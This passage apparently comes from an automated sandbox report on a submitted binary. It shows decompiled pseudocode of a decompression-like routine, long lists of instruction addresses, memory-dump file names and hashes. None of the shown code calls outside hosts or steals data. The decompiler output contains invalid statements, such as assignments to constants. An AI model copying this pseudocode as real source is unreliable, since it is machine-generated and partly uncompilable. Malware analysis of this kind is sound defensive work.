											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406969
0x00406969
0x0040696d
0x00406992
0x0040699c
0x00000000
0x0040696f
0x0040696f
0x00406972
0x00406976
0x00406979
0x0040697c
0x00406980
0x00406980
0x00406983
0x00406a5d
0x00406a5d
0x00406a64
0x00406a64
0x00406a67
0x00406a6e
0x00406a9b
0x00406a9f
0x00406aff
0x00406b02
0x00406b07
0x00406b08
0x00406b0a
0x00406b0c
0x00406b0f
0x00406a1b
0x00406a1b
0x00406a1b
0x004061b7
0x004061b7
0x004061b7
0x004061c0
0x00000000
0x00000000
0x004061c6
0x00000000
0x004061d1
0x00000000
0x00000000
0x004061da
0x004061dd
0x004061e0
0x004061e4
0x00000000
0x00000000
0x004061ea
0x004061ed
0x004061ef
0x004061f0
0x004061f3
0x004061f5
0x004061f6
0x004061f8
0x004061fb
0x00406200
0x00406205
0x0040620e
0x00406221
0x00406224
0x00406230
0x00406258
0x0040625a
0x00406268
0x00406268
0x0040626c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040625c
0x0040625c
0x0040625f
0x00406260
0x00406260
0x00000000
0x0040625c
0x00406236
0x0040623b
0x0040623b
0x00406244
0x0040624c
0x0040624f
0x00000000
0x00406255
0x00406255
0x00000000
0x00406255
0x00000000
0x00406272
0x00406272
0x00406276
0x00406b22
0x00000000
0x00406b22
0x0040627f
0x0040628f
0x00406292
0x00406295
0x00406295
0x00406295
0x00406298
0x0040629c
0x00000000
0x00000000
0x0040629e
0x004062a4
0x004062ce
0x004062d4
0x004062db
0x00000000
0x004062db
0x004062aa
0x004062ad
0x004062b2
0x004062b2
0x004062bd
0x004062c5
0x004062c8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040630d
0x00406313
0x00406316
0x00406323
0x0040632b
0x00000000
0x00000000
0x004062e2
0x004062e2
0x004062e6
0x00406b31
0x00000000
0x00406b31
0x004062f2
0x004062fd
0x004062fd
0x004062fd
0x00406300
0x00406303
0x00406306
0x0040630b
0x00000000
0x00000000
0x00000000
0x00000000
0x004069a2
0x004069a2
0x004069a8
0x004069ae
0x004069b4
0x004069ce
0x004069d1
0x004069d7
0x004069e2
0x004069e2
0x004069e4
0x004069b6
0x004069b6
0x004069c5
0x004069c9
0x004069c9
0x004069ee
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004069f0
0x004069f4
0x00406ba3
0x00000000
0x00406ba3
0x00406a00
0x00406a07
0x00406a0f
0x00406a12
0x00406a15
0x00406a15
0x00000000
0x00000000
0x00406333
0x00406335
0x00406338
0x004063a9
0x004063ac
0x004063af
0x004063b6
0x004063c0
0x00000000
0x004063c0
0x0040633a
0x0040633e
0x00406341
0x00406343
0x00406346
0x00406349
0x0040634b
0x0040634e
0x00406350
0x00406355
0x00406358
0x0040635b
0x0040635f
0x00406366
0x00406369
0x00406370
0x00406374
0x0040637c
0x0040637c
0x0040637c
0x00406376
0x00406376
0x00406376
0x0040636b
0x0040636b
0x0040636b
0x00406380
0x00406383
0x004063a1
0x004063a3
0x00000000
0x00406385
0x00406385
0x00406388
0x0040638b
0x0040638e
0x00406390
0x00406390
0x00406390
0x00406393
0x00406396
0x00406398
0x00406399
0x0040639c
0x00000000
0x0040639c
0x00000000
0x004065d2
0x004065d6
0x004065f4
0x004065f7
0x004065fe
0x00406601
0x00406604
0x00406607
0x0040660a
0x0040660d
0x0040660f
0x00406616
0x00406617
0x00406619
0x0040661c
0x0040661f
0x00406622
0x00406622
0x00406627
0x00000000
0x00406627
0x004065d8
0x004065db
0x004065de
0x004065e8
0x00000000
0x00000000
0x0040663c
0x00406640
0x00406663
0x00406666
0x00406669
0x00406673
0x00406642
0x00406642
0x00406645
0x00406648
0x0040664b
0x00406658
0x0040665b
0x0040665b
0x00000000
0x00000000
0x0040667f
0x00406683
0x00000000
0x00000000
0x00406689
0x0040668d
0x00000000
0x00000000
0x00406693
0x00406695
0x00406699
0x00406699
0x0040669c
0x004066a0
0x00000000
0x00000000
0x004066f0
0x004066f4
0x004066fb
0x004066fe
0x00406701
0x0040670b
0x00000000
0x0040670b
0x004066f6
0x00000000
0x00000000
0x00406717
0x0040671b
0x00406722
0x00406725
0x00406728
0x0040671d
0x0040671d
0x0040671d
0x0040672b
0x0040672e
0x00406731
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673a
0x0040673d
0x00406744
0x00406749
0x00000000
0x00000000
0x004067d7
0x004067d7
0x004067db
0x00406b79
0x00000000
0x00406b79
0x004067e1
0x004067e4
0x004067e7
0x004067eb
0x004067ee
0x004067f4
0x004067f6
0x004067f6
0x004067f6
0x004067f9
0x004067fc
0x00000000
0x00000000
0x004063cc
0x004063cc
0x004063d0
0x00406b3d
0x00000000
0x00406b3d
0x004063d6
0x004063d9
0x004063dc
0x004063e0
0x004063e3
0x004063e9
0x004063eb
0x004063eb
0x004063eb
0x004063ee
0x004063f1
0x004063f1
0x004063f4
0x004063f7
0x00000000
0x00000000
0x004063fd
0x00406403
0x00000000
0x00000000
0x00406409
0x00406409
0x0040640d
0x00406410
0x00406413
0x00406416
0x00406419
0x0040641a
0x0040641d
0x0040641f
0x00406425
0x00406428
0x0040642b
0x0040642e
0x00406431
0x00406434
0x00406437
0x00406453
0x00406456
0x00406459
0x0040645c
0x00406463
0x00406467
0x00406469
0x0040646d
0x00406439
0x00406439
0x0040643d
0x00406445
0x0040644a
0x0040644c
0x0040644e
0x0040644e
0x00406470
0x00406477
0x0040647a
0x00000000
0x00406480
0x00000000
0x00406480
0x00000000
0x00406485
0x00406485
0x00406489
0x00406b49
0x00000000
0x00406b49
0x0040648f
0x00406492
0x00406495
0x00406499
0x0040649c
0x004064a2
0x004064a4
0x004064a4
0x004064a4
0x004064a7
0x004064aa
0x004064aa
0x004064aa
0x004064b0
0x00000000
0x00000000
0x004064b2
0x004064b5
0x004064b8
0x004064bb
0x004064be
0x004064c1
0x004064c4
0x004064c7
0x004064ca
0x004064cd
0x004064d0
0x004064e8
0x004064eb
0x004064ee
0x004064f1
0x004064f1
0x004064f4
0x004064f8
0x004064fa
0x004064d2
0x004064d2
0x004064da
0x004064df
0x004064e1
0x004064e3
0x004064e3
0x004064fd
0x00406504
0x00406507
0x00000000
0x00406509
0x00000000
0x00406509
0x00406507
0x0040650e
0x0040650e
0x0040650e
0x0040650e
0x00000000
0x00000000
0x00406549
0x00406549
0x0040654d
0x00406b55
0x00000000
0x00406b55
0x00406553
0x00406556
0x00406559
0x0040655d
0x00406560
0x00406566
0x00406568
0x00406568
0x00406568
0x0040656b
0x0040656e
0x0040656e
0x00406574
0x00406512
0x00406512
0x00406515
0x00000000
0x00406515
0x00406576
0x00406576
0x00406579
0x0040657c
0x0040657f
0x00406582
0x00406585
0x00406588
0x0040658b
0x0040658e
0x00406591
0x00406594
0x004065ac
0x004065af
0x004065b2
0x004065b5
0x004065b5
0x004065b8
0x004065bc
0x004065be
0x00406596
0x00406596
0x0040659e
0x004065a3
0x004065a5
0x004065a7
0x004065a7
0x004065c1
0x004065c8
0x004065cb
0x00000000
0x004065cd
0x00000000
0x004065cd
0x00000000
0x0040685a
0x0040685a
0x0040685e
0x00406b85
0x00000000
0x00406b85
0x00406864
0x00406867
0x0040686a
0x0040686e
0x00406871
0x00406877
0x00406879
0x00406879
0x00406879
0x0040687c
0x00000000
0x00000000
0x0040662a
0x0040662a
0x0040662d
0x0040699f
0x0040699f
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a26
0x00406a2a
0x00406a48
0x00406a48
0x00406a48
0x00406a4f
0x00406a56
0x00000000
0x00406a56
0x00406a2c
0x00406a2f
0x00406a32
0x00406a35
0x00406a3c
0x00000000
0x00000000
0x00406b17
0x00406b1a
0x00406a1b
0x00406a1b
0x00000000
0x00000000
0x00406751
0x00406753
0x0040675a
0x0040675b
0x0040675d
0x00406760
0x00000000
0x00000000
0x00406768
0x0040676b
0x0040676e
0x00406770
0x00406772
0x00406772
0x00406773
0x00406776
0x0040677d
0x00406780
0x0040678e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a73
0x00406a73
0x00406a77
0x00406baf
0x00000000
0x00406baf
0x00406a7d
0x00406a80
0x00406a83
0x00406a87
0x00406a8a
0x00406a90
0x00406a92
0x00406a92
0x00406a92
0x00406a95
0x00406a98
0x00406a98
0x00406a98
0x00406a98
0x00000000
0x00000000
0x00406796
0x00406799
0x004067cf
0x004068ff
0x004068ff
0x004068ff
0x004068ff
0x00406902
0x00406902
0x00406905
0x00406907
0x00406b91
0x00000000
0x00406b91
0x0040690d
0x00406910
0x00000000
0x00000000
0x00406916
0x0040691a
0x0040691d
0x0040691d
0x0040691d
0x00000000
0x0040691d
0x0040679b
0x0040679d
0x0040679f
0x004067a1
0x004067a4
0x004067a5
0x004067a7
0x004067a9
0x004067ac
0x004067af
0x004067c5
0x004067ca
0x00406802
0x00406802
0x00406806
0x00406832
0x00406834
0x0040683b
0x0040683e
0x00406841
0x00406841
0x00406846
0x00406846
0x00406848
0x0040684b
0x00406852
0x00406855
0x00406882
0x00406882
0x00406885
0x00406888
0x004068fc
0x004068fc
0x004068fc
0x00000000
0x004068fc
0x0040688a
0x00406890
0x00406893
0x00406896
0x00406899
0x0040689c
0x0040689f
0x004068a2
0x004068a5
0x004068a8
0x004068ab
0x004068c4
0x004068c6
0x004068c9
0x004068ca
0x004068cd
0x004068cf
0x004068d2
0x004068d4
0x004068d6
0x004068d9
0x004068db
0x004068de
0x004068e2
0x004068e4
0x004068e4
0x004068e5
0x004068e8
0x004068eb
0x004068ad
0x004068ad
0x004068b5
0x004068ba
0x004068bc
0x004068bf
0x004068bf
0x004068ee
0x004068f5
0x0040687f
0x0040687f
0x0040687f
0x0040687f
0x00000000
0x004068f7
0x00000000
0x004068f7
0x004068f5
0x00406808
0x0040680b
0x0040680d
0x00406810
0x00406813
0x00406816
0x00406818
0x0040681b
0x0040681e
0x0040681e
0x00406821
0x00406821
0x00406824
0x0040682b
0x004067ff
0x004067ff
0x004067ff
0x004067ff
0x00000000
0x0040682d
0x00000000
0x0040682d
0x0040682b
0x004067b1
0x004067b4
0x004067b6
0x004067b9
0x00000000
0x00000000
0x00406518
0x00406518
0x0040651c
0x00406b61
0x00000000
0x00406b61
0x00406522
0x00406525
0x00406528
0x0040652b
0x0040652e
0x00406531
0x00406534
0x00406536
0x00406539
0x0040653c
0x0040653f
0x00406541
0x00406541
0x00406541
0x00000000
0x00000000
0x004066a3
0x004066a3
0x004066a7
0x00406b6d
0x00000000
0x00406b6d
0x004066ad
0x004066b0
0x004066b3
0x004066b6
0x004066b8
0x004066b8
0x004066b8
0x004066bb
0x004066be
0x004066c1
0x004066c4
0x004066c7
0x004066ca
0x004066cb
0x004066cd
0x004066cd
0x004066cd
0x004066d0
0x004066d3
0x004066d6
0x004066d9
0x004066d9
0x004066d9
0x004066dc
0x004066de
0x004066de
0x00000000
0x00000000
0x00406920
0x00406920
0x00406920
0x00406924
0x00000000
0x00000000
0x0040692a
0x0040692d
0x00406930
0x00406933
0x00406935
0x00406935
0x00406935
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x00406948
0x0040694a
0x0040694a
0x0040694a
0x0040694d
0x00406950
0x00406953
0x00406956
0x00406959
0x0040695d
0x0040695f
0x00406962
0x00000000
0x00406964
0x004066e1
0x004066e1
0x00000000
0x004066e1
0x00406962
0x00406b97
0x00406bb9
0x00406bbf
0x00406bc1
0x00406bc8
0x00406bca
0x00406bd1
0x00406bd5
0x00000000
0x004061c6
0x00406bce
0x00406bce
0x00000000
0x00406bce
0x00406a1b
0x00406aa1
0x00406aa7
0x00406aaa
0x00406aad
0x00406ab0
0x00406ab3
0x00406ab6
0x00406ab9
0x00406abc
0x00406ac2
0x00406adb
0x00406ade
0x00406ae1
0x00406ae4
0x00406ae8
0x00406aea
0x00406aeb
0x00406aee
0x00406ac4
0x00406ac4
0x00406acc
0x00406ad1
0x00406ad3
0x00406ad6
0x00406ad6
0x00406af8
0x00000000
0x00406afa
0x00000000
0x00406afa
0x00406af8
0x00000000
0x0040696d

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7058ec301ddcf020a4ef3743dba596c5c9d63b88222812e1714b66bbcd5ffa43
Instruction ID: f8b3e10e58f717f8edde5794a38fefd32bea2d44dd320be9cbeb21c60fb05cda
Opcode Fuzzy Hash: 7058ec301ddcf020a4ef3743dba596c5c9d63b88222812e1714b66bbcd5ffa43
Instruction Fuzzy Hash: F5913270E00229CBDF28DF98C8547ADBBB1FB45305F15816ED816BB281C778AA96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040667F Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040667F() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M00406BD6))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4));
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8));
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
